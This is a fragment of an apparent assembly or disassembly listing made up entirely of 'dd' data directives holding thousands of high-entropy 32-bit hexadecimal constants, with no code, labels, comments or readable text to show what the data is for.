		dd 40E4AAE5h, 906D6678h, 150993E1h, 3DBE85Ch, 73BA5F7Fh
		dd 0EA7C8CC7h, 0D7C46502h, 2AA27385h, 0D8CAF17Ch, 0BB3E0293h
		dd 0D52C290Bh, 4596A310h
		dd 873B5B84h, 0FA54BDB6h, 7B6D7184h, 151DDA72h,	3C10887Bh
		dd 0C0D93006h, 3218FDB3h, 566E47Fh, 89F4BB9Ah, 0AADB95F2h
		dd 1F80F0F0h, 25F6A2B5h, 7EC0D270h, 55F57A7Bh, 40C2BF86h
		dd 0D4C693EDh, 39563BE7h, 2C641889h, 3117632h, 5EF3837Ah
		dd 0EF2BB7E4h, 0A5045E18h, 0F5DC798Ch, 0C7C3BFA3h, 0F4E1D380h
		dd 0D5AC957Ch, 0F587F305h, 0A816C62Fh, 568DE08Eh, 0E3D80AACh
		dd 91A22998h, 4D8FFB3Eh, 0C328CBA7h, 0A7725114h, 7818B665h
		dd 73EDCAEDh, 61F81E8Ch, 90C8DA9h, 85F42FF8h, 716DCF9Eh
		dd 0FD121EB3h, 27F76474h, 0B8852B5Dh, 3E7DE965h, 0D531923h
		dd 5E100B6Dh, 147AF96Bh, 6D836D34h, 5B180AEEh, 97DEA4C1h
		dd 0FEE89530h, 0E3F480E3h, 0BBD81895h, 0A223A462h, 0B688289Bh
		dd 19FD69A5h, 84600C1Ah, 5D146BD0h, 5FED7CDDh, 0D52A9A74h
		dd 32A564C4h, 3776503Eh, 5F1E5AD1h, 1C458EE2h, 1B093BF0h
		dd 8C725D4Bh, 4A1C593Ah, 2C9E05B1h, 0C0CC27C5h,	99D61E07h
		dd 55DDDA34h, 3013AB13h, 899C7894h, 0A641D78Ah,	7C57AA79h
		dd 1C4FFDB8h, 0BF86EACFh, 80BD2AFFh, 7E8EFF8Dh,	0A0BA7591h
		dd 18C52D4Fh, 531BD57Bh, 70AF5083h, 6A86E857h, 0F2352FBFh
		dd 0D27C7303h, 28E6F7BAh, 0F539BC27h, 2AD52511h, 3B09E2A6h
		dd 356D99Eh, 0B272B4CAh, 4D643B1Fh, 0C78DBE6Eh,	0F320C39Eh
		dd 0A515FEC7h, 7E68BD5h, 0ECA1CF83h, 7438698Ch,	0FCE8F6E0h
		dd 0E5613632h, 4E5E2493h, 74100309h, 0C359A99Eh, 0C6A96FF6h
		dd 8B500FC6h, 17F96D88h, 0B918B58Ah, 50297DCAh,	4831A00Bh
		dd 834A4557h, 0A7ED6CF7h, 0E86FF9B4h, 0C6CEA31Ch, 0F645D59Eh
		dd 0AE342E6Eh, 93B3D8DAh, 98220062h, 7937269Dh,	0D5CDCE0Fh
		dd 1548CA6Eh, 32FAB415h, 3FE3D2E7h, 1E68627Fh, 0B6545F1h
		dd 0CA51CBEFh, 0FE13A2DBh, 8DA8294Bh, 6E750F31h, 0F4AC69D1h
		dd 3E58A3F7h, 0E1BF72B8h, 42E09B3Fh, 9E07046h, 3FB7AE26h
		dd 0F57F842h, 717412FCh, 0D584F8B5h, 5293A532h,	0D857758Ah
		dd 2FB119E8h, 0A2E48EA5h, 0AEFBF575h, 41BB5856h, 45B345CDh
		dd 0A4B7757Bh, 8E618DFAh, 7AF63677h, 5B6F2E68h,	1F83A454h
		dd 7C4DA44Ah, 0D2F23724h, 14A727D6h, 0BF1BD8BCh, 0CF96FA33h
		dd 0C3CB83D5h, 0F7900D92h, 0B6FFA99Ah, 8A4CF6FBh, 7B78E5F9h
		dd 5A2B82B2h, 822D5FBBh, 0B4E2FD71h, 0A2201E7Dh, 34868EABh
		dd 0FE36149Dh, 0C2926F0Bh, 7FAC30C8h, 0F7560C65h, 765F0B3Dh
		dd 207E4EF9h, 61684547h, 0D621CDD3h, 4676DF57h,	7DBCAA24h
		dd 0C92E69Fh, 1D578C2Dh, 5475968Ch, 0FB83139Ch,	0F57142E6h
		dd 3030A1C8h, 66266BFDh, 5391C059h, 0A22B18EEh,	755CE25Fh
		dd 377CE0E2h, 0C7AEF159h, 95961559h, 0DD36E954h, 0AFF2369Ah
		dd 99B479A5h, 0FA95AB22h, 0FD788C70h, 4C3DDE24h, 0BCCB6E6Ah
		dd 3190839Ch, 0F2496733h, 2C7439DAh, 2F33A46Eh,	0D5F592BAh
		dd 2BA609F2h, 3CFB2BE4h, 0B7ADA760h, 0F2ECAEEFh, 0B5D086C0h
		dd 77FA11A8h, 33E34627h, 0E0AB2405h, 0A5C6266h,	0A78CAEC0h
		dd 8E72AC8Ah, 975A54BCh, 7A0B7623h, 0B84B7E17h,	8BB92B89h
		dd 80A5D23Dh, 510BA84Ch, 0BB6F9A7Dh, 7CBCAFB3h,	0F5527D7Ch
		dd 825C1A44h, 1799722Dh, 9784A7Bh, 0ED9BAE87h, 9A53BAAAh
		dd 0A45B2455h, 38FCEFCEh, 86C658FBh, 632849CFh,	7A37AC78h
		dd 0FA8D83FAh, 9A65E86h, 0EC0C123Bh, 3FD06B63h,	0D35D7FF6h
		dd 29AB7CB7h, 0AEE81472h, 0F975B3D6h, 4CFC7E08h, 49BC53EDh
		dd 99B4D96Ch, 64B493A7h, 9FEFA028h, 2DCF7DD6h, 0A655DB77h
		dd 3833A1A1h, 0D165C855h, 650245CFh, 9E9B0179h,	71329365h
		dd 4CC86750h, 14FD7256h, 0ACE9216Eh, 0C5559B84h, 0A95AB950h
		dd 1FC030F6h, 0ADB23865h, 7CBD9425h, 416D9BDAh,	0CC5C54E5h
		dd 0E73EB026h, 0CAA1210Fh, 52BE502Ch, 8E7298D5h, 83578DD4h
		dd 0B164E994h, 571540ACh, 0E7131490h, 0F1AF391Ah, 90A96420h
		dd 9CC5B6B0h, 0B1843E1Fh, 5550D922h, 7D0A7FBFh,	0AAF97769h
		dd 6717C3F2h, 61102B25h, 1EDF5557h, 6D36BFCBh, 74FA2D93h
		dd 0DED6D993h, 0EA93933h, 8C0A5D93h, 94050510h,	0E457B209h
		dd 0CD3ED08h, 60B57256h, 0FE08A1F8h, 0EF26FDC2h, 0A1D50CBFh
		dd 0F4FA7364h, 7A3FAB47h, 1D1984D2h, 0D67346ECh, 0E86CAAF0h
		dd 427FE97Bh, 749DB997h, 0EF5C72CCh, 63CE7B3Fh,	6C65D075h
		dd 26AAF2CFh, 0AF60168Ah, 0FE8DC951h, 0AA107DDAh, 0ADC2D626h
		dd 0B35B041Eh, 59454E25h, 4B21AD3Eh, 5DF6DA13h,	0E56ECC4Eh
		dd 9F1EA792h, 7655E0FBh, 873CEAB9h, 4F4186E3h, 0C1CF0839h
		dd 0E5106588h, 0C1567191h, 691994CFh, 997C0593h, 15DA74CBh
		dd 25155605h, 0ADD3A5C1h, 0BB476964h, 0F2ACBEB3h, 0ED7727E6h
		dd 0B8389C68h, 581F3A78h, 0B7E6EFE7h, 9383458h,	7F4B0AC4h
		dd 0DF6DD352h, 4D20EDF0h, 42BBF335h, 19AE8D0Bh,	0D7A898BAh
		dd 1DF9DA27h, 2A9F2392h, 682F8F37h, 0D9590814h,	4BB2140Fh
		dd 7175269Dh, 4CA4ECFFh, 699B39E1h, 90BB4DFBh, 88D1F330h
		dd 0F972E20Ah, 5DAF5B46h, 0F0E97F9h, 0FF5A301Ch, 0D649715Fh
		dd 40AF266Ah, 706EE8D6h, 0E88A6BB2h, 0F8C15E69h, 0F2A99435h
		dd 38B9607Dh, 0B962A646h, 159E33A3h, 0EA1C564Bh, 6BE3EC85h
		dd 51F9CDEBh, 0BCAAB81Eh, 4DE50FDFh, 8B868472h,	6F9B349h
		dd 0D1A4F9B8h, 0AE4D972Ah, 58B5D654h, 0A006C015h, 0B2D672A0h
		dd 22C7437Bh, 155E2648h, 4D7AC673h, 0A3F5730Dh,	9ACBA368h
		dd 786EE7F0h, 9E1EA32Dh, 5FC3DC5Eh, 0D077670Dh,	0FDDB79A6h
		dd 26FE1C83h, 0DEFF33E2h, 0CC1ECFD2h, 303CEFDDh, 5381F846h
		dd 566B2ABEh, 376A85B4h, 0B6C86CF0h, 0FC1E6AAEh, 455D5570h
		dd 0BD992ACFh, 0E5F5E5EEh, 91CEDD3Fh, 8892378Eh, 5F56F8BCh
		dd 4AB9E7E8h, 0AA705012h, 0C92B30A2h, 5DCD68D1h, 7ED9EA5Dh
		dd 5A663496h, 97101D23h, 986D2E1Ah, 0C2ADC0B1h,	575562EBh
		dd 0DC4171F1h, 44AF0A86h, 8BE2F9F9h, 0EC7D1B9Dh, 1C716979h
		dd 408A1F70h, 346EF32Ch, 928FF83Ah, 90976219h, 63851DCBh
		dd 0F69ECD9Bh, 53EDA59Fh, 0D95587B2h, 0B03D7703h, 54D919DAh
		dd 0F03E0B83h, 0F084BB43h, 55A45EDAh, 0D228285h, 0B2FEF07Ch
		dd 0B349A694h, 0EE4207F8h, 20DA7CB2h, 8C7D52A8h, 0E07C1EC3h
		dd 47E659A8h, 882D7A8Eh, 3358E4BEh, 3B3D1789h, 0A71448A6h
		dd 0A8BDF32Bh, 8F06DD82h, 0A633649Dh, 4730035Ch, 93DB6869h
		dd 66D13B26h, 2ACB5515h, 5D2E1513h, 0CEA35F6Ah,	9DE07F1Dh
		dd 0CA366F6Dh, 0CFA17D7Dh, 0FB97BE8Eh, 6C356FC8h, 0B63C5A54h
		dd 0DBAB39DBh, 0FC1BDECh, 72A25B09h, 0C831D357h, 16734B23h
		dd 8AAAC1F3h, 91BAA3B7h, 2E31370Dh, 885A7E7Ch, 965EE2AAh
		dd 89D7C71h, 1F7E5D81h,	56DC72DDh, 606E78F1h, 5594EAFFh
		dd 0E128EA1Eh, 29913428h, 3663CAAAh, 0C1C4297Ch, 0AE26EA55h
		dd 565CF100h, 4C34ABFCh, 96DD30Dh, 0BD37AB76h, 54AE12CDh
		dd 0F493B967h, 5F29C5F4h, 9CC6333Ch, 0AD5B8491h, 0ED885269h
		dd 19259819h, 524329F7h, 7019FE23h, 180B81B4h, 37519F39h
		dd 5A60542Ah, 2C3BA2D9h, 0F2FC3378h, 234B5E77h,	4D15B948h
		dd 5A55046Eh, 0A955F6D6h, 0B2CB3E18h, 0C741558Ah, 0CE2952D9h
		dd 7767DB6Eh, 0D02544A1h, 0FC3FAADDh, 0F5BF31CCh, 12C411C4h
		dd 0F169C133h, 7974AEE3h, 0CB612043h, 52AD9020h, 122388A6h
		dd 0D237CC93h, 0C57733ADh, 540CFBEBh, 29806E12h, 8BF9D371h
		dd 90EACA3Ah, 0AB466F20h
		dd 0DD0A3D75h, 0C6FECFF0h, 0F69D653Bh, 94E038BAh, 4D1377B2h
		dd 1147F1E0h, 2278136Dh, 0C881F39Fh, 92612637h,	0DEE58BC2h
		dd 99FB0A84h, 9609CC4Bh, 0CCEE8537h, 8C67108Eh,	87E0F0C7h
		dd 163C9118h, 0DE633CB3h, 0E8101B67h, 0E8EFECF6h, 57D6C099h
		dd 9767A7F2h, 778EE2ADh, 4B8D83CEh, 0D57EC21Fh,	1387AC40h
		dd 57E122C3h, 1A5BF352h, 63529D1Dh, 0BC9040A2h,	13053F6Ah
		dd 0B3BC6457h, 747CB42Fh, 93F6D405h, 7520062Ah,	0A5B6B1F3h
		dd 0A1FCCE23h, 0B85D27E8h, 3E03293h, 76838B8Bh,	9E11D66Ah
		dd 489DFB0Bh, 0BFDB2E1Eh, 39F16256h, 0D995427Ch, 86568865h
		dd 0C4FA7277h, 1EEE710Fh, 8756371Fh, 373AAFEFh,	0D1A0B44Ch
		dd 0F6F9CC62h, 37B2CC89h, 0ED0668BFh, 5AEAFE6Eh, 0FC7FC398h
		dd 0CD1BBA70h, 6C620714h, 62A861F4h, 0CB861FEDh, 0A8F69337h
		dd 54F7E8Ah, 0CB118EDCh, 2FD8C73Eh, 8BC0A3D6h, 380ED39Dh
		dd 0A5BA564Eh, 7A01F136h, 3D5E98EAh, 0A64B2CDFh, 0B976BA4Dh
		dd 502D03F9h, 168020B3h, 3FC384D2h, 0FA6513C9h,	83EE1344h
		dd 231EEB6Fh, 0C4AC3992h, 0ED13917h, 0AFDF86A7h, 0CE35887h
		dd 588D4248h, 0E1E5778Fh, 9A37EEB3h, 17E86D46h,	0D485711Ah
		dd 51A68D2Ah, 2CEE3046h, 5AFB420h, 0AA378F5Bh, 2ECF820Eh
		dd 0CBC9AA49h, 5FF540C6h, 6658EE28h, 14A127B6h,	0F658B14Fh
		dd 0EAD0DD91h, 0D403F64Ch, 0A9391528h, 84DF093Bh, 5737AA9Ah
		dd 0B0738DF9h, 57385229h, 5B116162h, 57914DA2h,	8D2FAD56h
		dd 2BB771DEh, 0A932545Bh, 82BE7B0Eh, 66F8F627h,	0F6756423h
		dd 0F3CA3CA8h, 8A8568B2h, 62ACFAB6h, 47E3DAABh,	600037B8h
		dd 65EA7C97h, 5EB9EC49h, 8E5D27E6h, 0E3033D04h,	0DF63EFD3h
		dd 0A7D00E49h, 43F8B15h, 19DA2B3Ch, 4AD184E2h, 94FD3E75h
		dd 90FBA2A8h, 0EE972851h, 6B07B667h, 0AE30426Ah, 56BFC252h
		dd 0C3FC3D5Ch, 1396DD66h, 0CB60B0AAh, 0F961F292h, 7F8D4F10h
		dd 0E0CAB4F3h, 3452E66Dh, 4B54F866h, 9A6AD252h,	7E977437h
		dd 0CE36F0ACh, 96B70831h, 0DA37D50Bh, 47F6E012h, 0DAA6F6E4h
		dd 0AE52E5FBh, 0AED51084h, 65FEB140h, 5B3E1960h, 0FDCFAC82h
		dd 0B2A70607h, 8ABF863Bh, 12E46BFEh, 0CEB70FC3h, 0D908EE69h
		dd 9C60BD02h, 95ADE21Bh, 9A7059CBh, 18127B8Dh, 0B5033FB5h
		dd 0FC9FF41Eh, 0DECA485Ch, 0F8746143h, 0CF43CBFDh, 83AE92B3h
		dd 2E33426h, 49AEAA62h,	0AE4E5357h, 6DEA7C88h, 27CEB098h
		dd 0A75D8DB2h, 14FDDE6Fh, 13F9E04Ah, 50A38BFDh,	7412A664h
		dd 0FDE2C63Eh, 0ABE7FC08h, 8C5EFDCAh, 0CD322D1Fh, 0F82CE75Ah
		dd 5F1A7421h, 58BE0581h, 9FCD468h, 7EB82A01h, 0CF24348Ah
		dd 625B68Bh, 0CAE94C9Ah, 0A7928D8Fh, 2A635AD6h,	5A11CB5Dh
		dd 3CEB78DAh, 0EAB40E52h, 65452A6Dh, 7DD53453h,	0B6AB5495h
		dd 2AF387Ah, 0B425A443h, 0ACE001F6h, 0CBDECDA2h, 919961F8h
		dd 0B971D5F4h, 0E322F806h, 0BD99AC86h, 763554E5h, 83A85351h
		dd 0FCE6367Ah, 655ED2E5h, 93BF5383h, 0B47591D2h, 35696A1Ch
		dd 33C0B58Ah, 1F098DF7h, 64936AF7h, 2888F2AAh, 46B6E377h
		dd 0B5B551DBh, 0B718BB52h, 0D3FDDB65h, 17E51E14h, 87BB619Fh
		dd 926C6725h, 0D024ED20h, 0E5CC9E44h, 0E79434Eh, 6CE62FDDh
		dd 0E856EAECh, 738966EFh, 0FB18FBA6h, 913142B8h, 0AB7659EDh
		dd 0DB45F3B7h, 0D043335Ch, 0DBB58959h, 7F15B6A9h, 0E22BA2D5h
		dd 0C18DA192h, 0CD8CF754h, 2749EED0h, 508C7B3Ch, 0BD513597h
		dd 0D4F08765h, 90369D6Eh, 57A10B3Ah, 0AEF5441Bh, 892F6390h
		dd 53D740BFh, 408B7C70h, 0B773E4C4h, 973DBE75h,	468D0138h
		dd 0D9396F9Dh, 0CCD5DA9Dh, 3DE381DAh, 0A7557205h, 98F13368h
		dd 0F0B538ABh, 5DBCE78Eh, 0FDBB15D5h, 713E56FEh, 21B50FCh
		dd 3FA2A3F8h, 6431880Dh, 0E09DE44Dh, 0A56F29CCh, 0E7C7FC7Ch
		dd 6409B507h, 0EF32FE50h, 5188EDE6h, 53C14543h,	39C3B41Fh
		dd 0EBD46F86h, 0FE99F286h, 0BA4F1D1h, 1CF0267Bh, 0EE07FDDCh
		dd 0ACB957Ah, 7EE49A9Dh, 8D55A4E9h, 6BE5174Eh, 0C92CB92Ah
		dd 37A6F3F2h, 0D5BC6313h, 3DA9B190h, 5A22E2BEh,	971B5A99h
		dd 0C0917CB6h, 0E0F8A2AEh, 5C06EADDh, 0D36E9105h, 4B1FE67Fh
		dd 52CCF60Eh, 0B76C2C26h, 974A609Dh, 0ACF9D9BEh, 0CD952D1h
		dd 0C057B767h, 38C565B3h, 0E9E8B03Eh, 28CE8FE0h, 0CC895AD8h
		dd 32DB777Eh, 0CAF3168Eh, 0FE152A12h, 82FEB024h, 0B30F7AD1h
		dd 48DC6DFFh, 3AF55363h, 0D1F4D568h, 0FFB223F6h, 7DA55FF2h
		dd 3829D365h, 0D82E3794h, 11CE2BB3h, 0A5567A2Dh, 4EDCBC62h
		dd 1631BF45h, 71D15F02h, 27FF1D42h, 0C88E67ADh,	8FA3136Fh
		dd 8A146932h, 256CC696h, 0C2BA07DBh, 23D894D6h,	26AC3C34h
		dd 2E8C68DCh, 0C43BA321h, 81E615FEh, 991E2CE9h,	0E69FFC26h
		dd 56E8EB35h, 2103CCEEh, 9266AED7h, 871B1302h, 0D6254C5Bh
		dd 858BE0FAh, 25CEEF34h, 0FBA1A3CFh, 0DE0672CBh, 46A6DE23h
		dd 42FF648Bh, 0D59DFBB3h, 0A57CC2D0h, 571759DDh, 0D8873AD3h
		dd 1EA8A2E9h, 0D9CAD954h, 15F6D8FCh, 0B791814Eh, 252D4A8Bh
		dd 0DD6FFD81h, 109B1FCFh, 0E724ECACh, 0D0A73837h, 4AEB5F83h
		dd 0C6F869B6h, 0B2D83E26h, 0F028BA42h, 0E595B524h, 0BC3E1645h
		dd 961BEC5Ah, 2CCFCE19h, 0D9CF7EB3h, 0C20C8409h, 3411017Dh
		dd 0B40CE8C7h, 0E58B5F35h, 4435CBDh, 5EBE93D9h,	81679F62h
		dd 7C6A501Ch, 0FD2513B8h, 0B86773E1h, 1FC57CCAh, 0AA565E5Bh
		dd 1ACEDA7Ah, 7C5B82D7h, 362ED84Ah, 6CC88E0Fh, 2129C5D1h
		dd 66EFDD3Ch, 0CAF19E4h, 0BA35489Eh, 0F6BCFB3Ah, 0CE44F1E5h
		dd 5AD200B0h, 214A3BF9h, 51EFFF10h, 5B23DC53h, 79687E6Ah
		dd 7E45851h, 0CC2843FFh, 0A0D76744h, 0E1E0AE91h, 0F9D870AEh
		dd 0A94353E5h, 5F69DF2Dh, 46D9157Ch, 0B4A24137h, 267D8521h
		dd 88317CF4h, 971C8F5Fh, 76A67937h, 2D4BC952h, 8D66BCD6h
		dd 7B2DE9Dh, 0A3F3C669h, 25D6B767h, 0A3C92D1Ch,	0B0ABBF53h
		dd 12C93E4Ah, 0D812950Fh, 9399F295h, 0AC744C14h, 8AFBC74Eh
		dd 0A67D5127h, 0F4646395h, 95BA9C8Dh, 0D4AB7CD0h, 0F1D64395h
		dd 0F1FDDABBh, 8D18660Bh, 5297B0CAh, 96DC2163h,	3ECE74BBh
		dd 71916D31h, 6D2B73A7h, 6F510549h, 0B1242787h,	0AA27E6E1h
		dd 0DF737F71h, 5A5A2CBAh, 0DFBF4152h, 0CDADBE39h, 46340737h
		dd 10C22C9Dh, 0EA29D810h, 6DA5E76h, 78819442h, 84BD2244h
		dd 0DF5AD18Eh, 0A4B2C8B4h, 0CAF1C969h, 32EFFBFDh, 7F7AD45Ah
		dd 195ADF23h, 0DC450FA6h, 0E08E33F5h, 9BA685CFh, 60DE612Ch
		dd 6B53E0ACh, 0C0F246ADh, 0BED5ED6Ch, 0AB2C67DAh, 20093BD0h
		dd 47CC779Ah, 53ABB5F6h, 50B40119h, 0CC755149h,	9123797Bh
		dd 78BB355Bh, 8AC2ED60h, 566A4C45h, 7FB4FD26h, 0A6CCABFCh
		dd 455EAC5Fh, 40EFC51Fh, 6663199Ah, 372983DBh, 0B3086EA8h
		dd 6A9944F5h, 10FF13A7h, 1AB0F33Fh, 649CD5BEh, 0E9D3C312h
		dd 7F5DE1E0h, 0BECC3F89h, 0F8BB4E59h, 209197E5h, 0F25C6678h
		dd 9511F297h, 337F122Bh, 288550DFh, 5EF2BE3Bh, 0EBFD1E61h
		dd 281817FBh, 97BA573Eh, 0CBE97F3Eh, 6E3292BAh,	0ED31C2A3h
		dd 0A423B39Ah, 9AA798EEh, 57573EB2h, 35C0B72Bh,	8DDF39Bh
		dd 69747155h, 6D2742F5h, 0BE95942Eh, 3296DAA0h,	3D940F8Dh
		dd 74004B17h, 6AC5D4FBh, 39B0B2CBh, 6347CD57h, 0AE0AB65Fh
		dd 35A35857h, 0C8D2BA76h, 4359B6BBh, 222F7633h,	31F828E8h
		dd 0F83F3BEAh, 196877E1h
		dd 28D11B8Fh, 0E345F8EEh, 566E7AC3h, 0FC5F7A21h, 8046FB81h
		dd 0D4E158EEh, 0E5C16BF0h, 8A9BF6B9h, 8135C35Bh, 9D35F659h
		dd 0B17E5C6Eh, 0A9A1E159h, 765DB7C6h, 0F95C1A85h, 0FE06B3DDh
		dd 0B3203D85h, 6B71918Ah, 45D3FF12h, 6A3CF4F8h,	0D0E25599h
		dd 0D35EB6CEh, 0D0CE7DF8h, 0D5319135h, 0A4BA2617h, 0CB2A9E3h
		dd 0D48538F0h, 3B0F14EFh, 0C1F3F590h, 0FB480339h, 0C111C597h
		dd 0ED11A3FBh, 0F48285E8h, 5989394Bh, 671AD7D6h, 0A385AE5Fh
		dd 0C3A65C8h, 2C1D84E0h, 7272F43Dh, 0BB44CA04h,	268BBF59h
		dd 1D385649h, 9886ACBCh, 94DE7F73h, 85AA8E4Fh, 9C2A25C0h
		dd 9357E522h, 4675B919h, 0C2E05918h, 6AB39346h,	0DA501C86h
		dd 14C257E7h, 37FED42Ah, 3F03607Ch, 0E237F462h,	2A56F9B8h
		dd 50AB4A27h, 0E876A3E2h, 0A564D3BDh, 0A3173FCCh, 56199719h
		dd 99752155h, 1D51D261h, 0F5B26FC9h, 2F64366Fh,	330AC5C1h
		dd 8F7DE069h, 0A3C0C77Ah, 96C49783h, 0AE0F68C0h, 0AEDF2DFAh
		dd 0A94B8E1Ah, 5A2E9F4Dh, 4D65A4A9h, 936CB708h,	27386704h
		dd 0BA4F3ED5h, 0FDB47A04h, 4EE177F5h, 904BDB6Fh, 4DC4B9DAh
		dd 33D16D35h, 8EB4D36Dh, 8638E2FCh, 0E2771F0h, 301F1CCAh
		dd 7EBB0436h, 0C01E69CEh, 2FF7D1E7h, 0CE3CD978h, 22348671h
		dd 6DFD59A7h, 3E735624h, 6A36B608h, 0D556E678h,	7DB8A8DCh
		dd 0A1CAB442h, 5267EADAh, 0A1D15921h, 5EF76F48h, 0EDB122C7h
		dd 0B368D2Bh, 5E5B2528h, 23BA78A5h, 2B0F12D1h, 74BD50FAh
		dd 4F06D58Bh, 6A369EB7h, 0D04AC56Bh, 6CDEBF8h, 0DB2ADDCFh
		dd 8D6C2AAAh, 530F2F80h, 59864478h, 0ECCB8EAh, 0FC6DEB49h
		dd 0A74FC6D9h, 0AA12CF04h, 7FC8205Dh, 7BAB33E2h, 37A963BFh
		dd 9091461Fh, 0ABF9CD28h, 0D94B7C0Fh, 3EED72FFh, 9B72FCBFh
		dd 0FC574F99h, 0D499AFCAh, 9DA312A8h, 9BC9514Ah, 897DE3CDh
		dd 9367DEEBh, 753AFAADh, 82ABD0E1h, 9DD7D8B5h, 5D7882C9h
		dd 0E4969D36h, 0E1601542h, 6B309276h, 0A6DF35C4h, 2E773C18h
		dd 0B95BAF52h, 13787B71h, 9C9880C2h, 1C95A564h,	96269A43h
		dd 69F5AA65h, 0D475DAEFh, 0AD690E10h, 0AD508C90h, 5D8927E7h
		dd 0D6895764h, 274076A8h, 1B236DD3h, 7A8C5FC6h,	8F869496h
		dd 9EC3E5E9h, 817FC6FBh, 3F92DAD1h, 2DB6C2BDh, 558B335Eh
		dd 0C1ABCA74h, 0B958B369h, 80307B10h, 773FFB59h, 4B05A649h
		dd 404AA630h, 39C73BA5h, 70B7DB31h, 5722C452h, 0DB2C07CDh
		dd 966D8A82h, 0CF0038Ah, 346F1566h, 0B69BFEBFh,	98BF41C8h
		dd 0D0DFF9DBh, 0AA75C029h, 0F4117464h, 0C5EF4327h, 1F625625h
		dd 0F410B63Fh, 0B7BD0092h, 0EF04B46Fh, 7D364686h, 0C3BB433Dh
		dd 3C8AD109h, 39D9D1D7h, 4BEE63F0h, 9AC7F161h, 2AB5DD69h
		dd 3B01406Eh, 0C8D4827Bh, 0B08B8853h, 248CDA76h, 42D12D49h
		dd 43FF040Dh, 57B77E93h, 0AD0E6DE3h, 0C321F609h, 4DBAE9A3h
		dd 97A49757h, 0A06350ADh, 0D27BC271h, 0B17699B3h, 500545DFh
		dd 61D7EEBEh, 412EC6ABh, 2018B2EAh, 926BB23Ch, 66164073h
		dd 8B82032Fh, 55E4B7ACh, 86C047C3h, 0CB787D6Ah,	0A42A1CE1h
		dd 0B45E1E25h, 3AA271C9h, 1297ED2h, 9CE2AA35h, 3D23EB9h
		dd 0E68E3087h, 3F055F01h, 4719716Fh, 502A8FAh, 0A4D56348h
		dd 0B8EA91CEh, 57BC5F67h, 0E1FFFAB2h, 304DEBCAh, 95379CF4h
		dd 0E241A1DBh, 2BD01BF6h, 0E1061AAFh, 595FACD4h, 37BC89FFh
		dd 0EA10E6Bh, 0EF17C56Bh, 56B8C770h, 0A88F145Bh, 0AEA46DB6h
		dd 0FEC06210h, 0AC24E2BDh, 27447DD8h, 5729B228h, 0EE1BF8Eh
		dd 1A435BDFh, 0ABDF30DAh, 3C5714E6h, 16FF44D1h,	89EA354Eh
		dd 1FB665B2h, 15DC819Bh, 6A955EDh, 9E971C4Eh, 5022745Ah
		dd 38DF0494h, 0D2B46F91h, 9D3D2966h, 87D66AFAh,	0BA324358h
		dd 0ADB897BFh, 185CEC54h, 6F908DA8h, 94ECB9B7h,	22095746h
		dd 59B5CE0Fh, 0B1F52B4h, 0FD90934Ah, 0F07875EBh, 7EAB9231h
		dd 91FFC98h, 7DE1FE29h,	1AB3D2ABh, 0CE2D6655h, 0CD64E35Fh
		dd 86049420h, 12D1FF63h, 0E2D7DFBDh, 2BD5AE9Dh,	15B1F0EDh
		dd 0A46B0D95h, 636729DFh, 44F87F1h, 484BB41Dh, 577BF5B9h
		dd 8730B912h, 0C165EA4Eh, 0A2B2FAAAh, 5D44457Ah, 3EB2CA85h
		dd 6C4B5F41h, 7A484171h, 0D1112641h, 0D1051554h, 68AEA65Ah
		dd 17555D51h, 4C564069h, 6A958B2h, 6FA40540h, 254CD42Bh
		dd 644B4A9Dh, 8DFEB6C7h, 1AA93E32h, 83179497h, 0C1EA0BB8h
		dd 0B5F64B4Bh, 4CF35728h, 2FFB510Ah, 2A34B5A8h,	52CABF56h
		dd 4DA58658h, 0E5FD739Fh, 57CBD2AEh, 0EFDEF5AEh, 22F6805Fh
		dd 3DDFD6D1h, 0F7C38B0Dh, 8B2AA744h, 3DA5F1F5h,	0EC639259h
		dd 78CA40D4h, 0A044F4B2h, 3FC3FBF6h, 707BFFD3h,	0C2BBDBDAh
		dd 5CBFAA6Fh, 2FBD0F6Bh, 30294711h, 0BE0DE7CEh,	3E7AFBCCh
		dd 0D89DE5ABh, 0D9DDAAEAh, 0B773DCD6h, 0BF52CAB0h, 35A0F870h
		dd 2F91FC0Eh, 0E3C694C2h, 6EB86240h, 0EC13E4DDh, 78CBFE6Eh
		dd 0B3A12908h, 0FC217BDh, 0E5DFD977h, 1B162581h, 2FA7E4F3h
		dd 0B772FE23h, 17A83A76h, 3568DA08h, 0E2EA0FD6h, 3BC5AF2Ah
		dd 863E9E7Ch, 0D8B5F5D1h, 2F56E706h, 0EB34DBC1h, 0F173ECEBh
		dd 0D5553981h, 0ABDF7E34h, 0F0B3FE3h, 0ACC01BECh, 0E2A8F501h
		dd 9EAEDDF8h, 0CDB2CD23h, 0B5CD7443h, 781A6788h, 45E2733Ch
		dd 3210BB9Ah, 8C8A35Ah,	3A10C29Eh, 957B7CAh, 5672FC26h
		dd 66463FAh, 0CF94D22Fh, 0C2A320A7h, 3C35AC8Eh,	0A47DD63Dh
		dd 6149DBD0h, 0A3594426h, 0ED0861A8h, 8AEFA02Fh, 88098C7Fh
		dd 2C4D0CA6h, 28345FD0h, 9985BBBAh, 0D08C0E5Fh,	5325B90Fh
		dd 0DD3B93BCh, 93B796E4h, 912154FAh, 0EAD5056Ah, 0C31387E2h
		dd 0FF91D734h, 0A54451F6h, 462232B8h, 9383A4D1h, 0BFA7B336h
		dd 0F2709858h, 0A075DE8h, 0BDD0ED2Ah, 0AAB59683h, 47436C9Bh
		dd 0AFAEB53Bh, 0F3AF6D8Ah, 0B3A45F25h, 933D5786h, 50E57E2Ah
		dd 5A4EF018h, 0A1FAF676h, 0BB971C43h, 797B525Fh, 0F43B639Eh
		dd 31243142h, 8C5B339Ch, 555048A2h, 3710B6DBh, 378DB441h
		dd 0B94D67FCh, 0A4987F62h, 31B753E3h, 44D6982Dh, 0D9C0545Ch
		dd 0AA9FA7FDh, 7DB13DFFh, 8894D46Bh, 7E328526h,	254EC02Ah
		dd 0F3B540D4h, 0B7A5C7E8h, 1215675Ch, 0F8235EB2h, 148103E0h
		dd 0A9C6EE16h, 7571D43Bh, 9F5DDF24h, 3D6AA83Eh,	148A8BD7h
		dd 0BB0FBBD6h, 3C12629Bh, 5196F015h, 0FBA39ECDh, 0A5FF83D1h
		dd 0FC36742Fh, 0D275130Fh, 94CD8EC4h, 45EC9B95h, 0BFCE9B13h
		dd 0DDFA5A24h, 0BA3F4281h, 0C70E9F6Eh, 989A5E15h, 0C675B456h
		dd 0F4838317h, 0D0A1FD3Ch, 18CB519Ah, 0F6842CCFh, 0C3F5EC59h
		dd 9D6C918Fh, 688EF5CCh, 53EFDAC8h, 0B9CF73FAh,	6EBE245Ch
